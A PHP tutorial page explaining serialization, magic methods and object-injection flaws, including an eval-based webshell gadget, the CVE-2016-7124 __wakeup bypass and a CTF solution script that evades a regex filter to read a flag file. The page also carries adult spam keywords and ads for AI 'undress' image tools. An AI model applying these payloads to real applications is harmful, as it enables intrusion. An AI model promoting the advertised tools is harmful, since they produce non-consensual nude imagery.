国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

Home Backend Development PHP Tutorial Detailed explanation of php deserialization

Detailed explanation of php deserialization

Jul 11, 2020 pm 05:49 PM
php Deserialization

Detailed explanation of php deserialization

1 Preface

Recently I have been reviewing the content I have learned before, and I feel that I have an understanding of PHP deserialization It’s more in-depth, so I’ll summarize it here

2 serialize() function

“All values ??in php can use the function serialize() to return a word containing Represented by a throttling string. Serializing an object will save all the variables of the object, but will not save the object's methods, only the name of the class."

This concept may be a little confusing at first. , but then I gradually understood

When the program execution ends, the memory data will be destroyed immediately. The data stored in the variables is the memory data, and the files and databases are "persistent data", so the PHP sequence Storage is the process of "saving" variable data in memory to persistent data in a file.

Related learning recommendations: PHP programming from entry to proficiency

 $s = serialize($變量); //該函數(shù)將變量數(shù)據(jù)進(jìn)行序列化轉(zhuǎn)換為字符串
 file_put_contents(‘./目標(biāo)文本文件', $s); //將$s保存到指定文件

Let’s learn about serialization through a specific example:

<?php
class User
{
  public $age = 0;
  public $name = &#39;&#39;;

  public function PrintData()
  {
    echo &#39;User &#39;.$this->name.&#39;is&#39;.$this->age.&#39;years old. <br />&#39;;
  }
}
//創(chuàng)建一個(gè)對(duì)象
$user = new User();
// 設(shè)置數(shù)據(jù)
$user->age = 20;
$user->name = &#39;daye&#39;;

//輸出數(shù)據(jù)
$user->PrintData();
//輸出序列化之后的數(shù)據(jù)
echo serialize($user);

?>

This is the result:

You can see that after serializing an object, all the variables of the object will be saved, and it is found that the serialized result has a character , these characters are abbreviations of the following letters.

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

After understanding the type letters of the abbreviation, you can get the PHP serialization format

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
對(duì)象類(lèi)型:長(zhǎng)度:"類(lèi)名":類(lèi)中變量的個(gè)數(shù):{類(lèi)型:長(zhǎng)度:"值";類(lèi)型:長(zhǎng)度:"值";......}

Through the above example, you can understand the concept of returning a byte stream through the serialize() function The string of this paragraph.

3 unserialize() function

unserialize() operate on a single serialized variable and convert it back PHP value. Before deserializing an object, the object's class must be defined before deserializing.

To put it simply, it is the process of restoring the serialized data stored in the file to the variable representation of the program code, and restoring the results before the variable serialization.

 $s = file_get_contents(‘./目標(biāo)文本文件&#39;); //取得文本文件的內(nèi)容(之前序列化過(guò)的字符串)
 $變量 = unserialize($s); //將該文本內(nèi)容,反序列化到指定的變量中

Learn about deserialization through an example:

<?php
class User
{
  public $age = 0;
  public $name = &#39;&#39;;

  public function PrintData()
  {
    echo &#39;User &#39;.$this->name.&#39; is &#39;.$this->age.&#39; years old. <br />&#39;;
  }
}
//重建對(duì)象
$user = unserialize(&#39;O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}&#39;);

$user->PrintData();

?>

This is the result:

##Note: Before deserializing an object, the object's class must be defined before deserializing. Otherwise, an error will be reported

4 PHP deserialization vulnerability

Before learning the vulnerability, let’s first understand the PHP magic function, which will help with the next study It will be helpful

PHP reserves all class methods starting with __ (two underscores) as magic methods

__construct  當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用,
__destruct  當(dāng)一個(gè)對(duì)象銷(xiāo)毀時(shí)被調(diào)用,
__toString  當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串被調(diào)用。
__wakeup()  使用unserialize時(shí)觸發(fā)
__sleep()  使用serialize時(shí)觸發(fā)
__destruct()  對(duì)象被銷(xiāo)毀時(shí)觸發(fā)
__call()  在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__callStatic()  在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__get()  用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)
__set()  用于將數(shù)據(jù)寫(xiě)入不可訪問(wèn)的屬性
__isset()  在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā)
__unset()   在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā)
__toString()  把類(lèi)當(dāng)作字符串使用時(shí)觸發(fā),返回值需要為字符串
__invoke()  當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

Only a part of the magic functions are listed here,

Let’s use an example to understand the process of automatic calling of the magic function

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array(&#39;varr1&#39;,&#39;varr2&#39;);
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //實(shí)例化對(duì)象,調(diào)用__construct()方法,輸出__construct
$obj->echoP();  //調(diào)用echoP()方法,輸出"abc"
echo $obj;  //obj對(duì)象被當(dāng)做字符串輸出,調(diào)用__toString()方法,輸出__toString
$s =serialize($obj); //obj對(duì)象被序列化,調(diào)用__sleep()方法,輸出__sleep
echo unserialize($s); //$s首先會(huì)被反序列化,會(huì)調(diào)用__wake()方法,被反序列化出來(lái)的對(duì)象又被當(dāng)做字符串,就會(huì)調(diào)用_toString()方法。
// 腳本結(jié)束又會(huì)調(diào)用__destruct()方法,輸出__destruct
?>

This is the result:

You can see it clearly through this example The magic function will be called when the corresponding conditions are met.

5 Object injection

A vulnerability will occur when the user's request is not properly filtered before being passed to the deserialization function unserialize(). Because PHP allows object serialization, an attacker could submit a specific serialized string to a vulnerable unserialize function, ultimately leading to the injection of an arbitrary PHP object within the scope of the application.

Object vulnerabilities must meet two prerequisites:

1. The parameters of unserialize are controllable.

2. A class containing a magic method is defined in the code, and there are some functions with security issues that use class member variables as parameters in the method.

Let’s give an example:

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET[&#39;test&#39;];
$a_unser = unserialize($a);
?>

For example, in this example, the user-generated content is directly passed to the unserialize() function, then you can construct such a statement

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

and run it in the script After the end, the _destruct function will be called, and the test variable will be overwritten to output lemon.

#If you find this vulnerability, you can use this vulnerability to control the input variables and splice them into a serialized object.

Look at another example:

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函數(shù)中調(diào)用eval執(zhí)行序列化對(duì)象中的語(yǔ)句
  }
}
$test = $_POST[&#39;test&#39;];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 構(gòu)造序列化對(duì)象
$test_unser = unserialize($pp); // 反序列化同時(shí)觸發(fā)_destruct函數(shù)
?>

In fact, if you look closely, you will find that we actually construct the serialized object manually so that the unserialize() function can trigger the __destruc() function, and then execute it in_ Malicious statements in the _destruc() function.

So we can use this vulnerability to obtain the web shell

6 Bypass the deserialization of the magic function

wakeup() magic function bypass

PHP5<5.6.25
PHP7<7.0.10

PHP deserialization vulnerability CVE-2016-7124

#a#重點(diǎn):當(dāng)反序列化字符串中,表示屬性個(gè)數(shù)的值大于真實(shí)屬性個(gè)數(shù)時(shí),會(huì)繞過(guò) __wakeup 函數(shù)的執(zhí)行

百度杯——Hash

其實(shí)仔細(xì)分析代碼,只要我們能繞過(guò)兩點(diǎn)即可得到f15g_1s_here.php的內(nèi)容

(1)繞過(guò)正則表達(dá)式對(duì)變量的檢查
(2)繞過(guò)_wakeup()魔法函數(shù),因?yàn)槿绻覀兎葱蛄谢牟皇?code>Gu3ss_m3_h2h2.php,這個(gè)魔法函數(shù)在反序列化時(shí)會(huì)觸發(fā)并強(qiáng)制轉(zhuǎn)成Gu3ss_m3_h2h2.php

那么問(wèn)題就來(lái)了,如果繞過(guò)正則表達(dá)式
(1)/[oc]:\d+:/i,例如:o:4:這樣就會(huì)被匹配到,而繞過(guò)也很簡(jiǎn)單,只需加上一個(gè)+,這個(gè)正則表達(dá)式即匹配不到0:+4:

(2)繞過(guò)_wakeup()魔法函數(shù),上面提到了當(dāng)反序列化字符串中,表示屬性個(gè)數(shù)的值大于真實(shí)屬性個(gè)數(shù)時(shí),會(huì)繞過(guò) _wakeup 函數(shù)的執(zhí)行

編寫(xiě)php序列化腳本

<?php
class Demo {
  private $file = &#39;Gu3ss_m3_h2h2.php&#39;;

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != &#39;Gu3ss_m3_h2h2.php&#39;) {
      //the secret is in the f15g_1s_here.php
      $this->file = &#39;Gu3ss_m3_h2h2.php&#39;;
    }
  }
}
#先創(chuàng)建一個(gè)對(duì)象,自動(dòng)調(diào)用__construct魔法函數(shù)
$obj = new Demo(&#39;f15g_1s_here.php&#39;);
#進(jìn)行序列化
$a = serialize($obj);
#使用str_replace() 函數(shù)進(jìn)行替換,來(lái)繞過(guò)正則表達(dá)式的檢查
$a = str_replace(&#39;O:4:&#39;,&#39;O:+4:&#39;,$a);
#使用str_replace() 函數(shù)進(jìn)行替換,來(lái)繞過(guò)__wakeup()魔法函數(shù)
$a = str_replace(&#39;:1:&#39;,&#39;:2:&#39;,$a);
#再進(jìn)行base64編碼
echo base64_encode($a);
?>

The above is the detailed content of Detailed explanation of php deserialization. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undress AI Tool

Undress AI Tool

Undress images for free

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to get the current session ID in PHP? How to get the current session ID in PHP? Jul 13, 2025 am 03:02 AM

The method to get the current session ID in PHP is to use the session_id() function, but you must call session_start() to successfully obtain it. 1. Call session_start() to start the session; 2. Use session_id() to read the session ID and output a string similar to abc123def456ghi789; 3. If the return is empty, check whether session_start() is missing, whether the user accesses for the first time, or whether the session is destroyed; 4. The session ID can be used for logging, security verification and cross-request communication, but security needs to be paid attention to. Make sure that the session is correctly enabled and the ID can be obtained successfully.

PHP get substring from a string PHP get substring from a string Jul 13, 2025 am 02:59 AM

To extract substrings from PHP strings, you can use the substr() function, which is syntax substr(string$string,int$start,?int$length=null), and if the length is not specified, it will be intercepted to the end; when processing multi-byte characters such as Chinese, you should use the mb_substr() function to avoid garbled code; if you need to intercept the string according to a specific separator, you can use exploit() or combine strpos() and substr() to implement it, such as extracting file name extensions or domain names.

How do you perform unit testing for php code? How do you perform unit testing for php code? Jul 13, 2025 am 02:54 AM

UnittestinginPHPinvolvesverifyingindividualcodeunitslikefunctionsormethodstocatchbugsearlyandensurereliablerefactoring.1)SetupPHPUnitviaComposer,createatestdirectory,andconfigureautoloadandphpunit.xml.2)Writetestcasesfollowingthearrange-act-assertpat

How to split a string into an array in PHP How to split a string into an array in PHP Jul 13, 2025 am 02:59 AM

In PHP, the most common method is to split the string into an array using the exploit() function. This function divides the string into multiple parts through the specified delimiter and returns an array. The syntax is exploit(separator, string, limit), where separator is the separator, string is the original string, and limit is an optional parameter to control the maximum number of segments. For example $str="apple,banana,orange";$arr=explode(",",$str); The result is ["apple","bana

JavaScript Data Types: Primitive vs Reference JavaScript Data Types: Primitive vs Reference Jul 13, 2025 am 02:43 AM

JavaScript data types are divided into primitive types and reference types. Primitive types include string, number, boolean, null, undefined, and symbol. The values are immutable and copies are copied when assigning values, so they do not affect each other; reference types such as objects, arrays and functions store memory addresses, and variables pointing to the same object will affect each other. Typeof and instanceof can be used to determine types, but pay attention to the historical issues of typeofnull. Understanding these two types of differences can help write more stable and reliable code.

Using std::chrono in C Using std::chrono in C Jul 15, 2025 am 01:30 AM

std::chrono is used in C to process time, including obtaining the current time, measuring execution time, operation time point and duration, and formatting analysis time. 1. Use std::chrono::system_clock::now() to obtain the current time, which can be converted into a readable string, but the system clock may not be monotonous; 2. Use std::chrono::steady_clock to measure the execution time to ensure monotony, and convert it into milliseconds, seconds and other units through duration_cast; 3. Time point (time_point) and duration (duration) can be interoperable, but attention should be paid to unit compatibility and clock epoch (epoch)

How to pass a session variable to another page in PHP? How to pass a session variable to another page in PHP? Jul 13, 2025 am 02:39 AM

In PHP, to pass a session variable to another page, the key is to start the session correctly and use the same $_SESSION key name. 1. Before using session variables for each page, it must be called session_start() and placed in the front of the script; 2. Set session variables such as $_SESSION['username']='JohnDoe' on the first page; 3. After calling session_start() on another page, access the variables through the same key name; 4. Make sure that session_start() is called on each page, avoid outputting content in advance, and check that the session storage path on the server is writable; 5. Use ses

How does PHP handle Environment Variables? How does PHP handle Environment Variables? Jul 14, 2025 am 03:01 AM

ToaccessenvironmentvariablesinPHP,usegetenv()orthe$_ENVsuperglobal.1.getenv('VAR_NAME')retrievesaspecificvariable.2.$_ENV['VAR_NAME']accessesvariablesifvariables_orderinphp.iniincludes"E".SetvariablesviaCLIwithVAR=valuephpscript.php,inApach

See all articles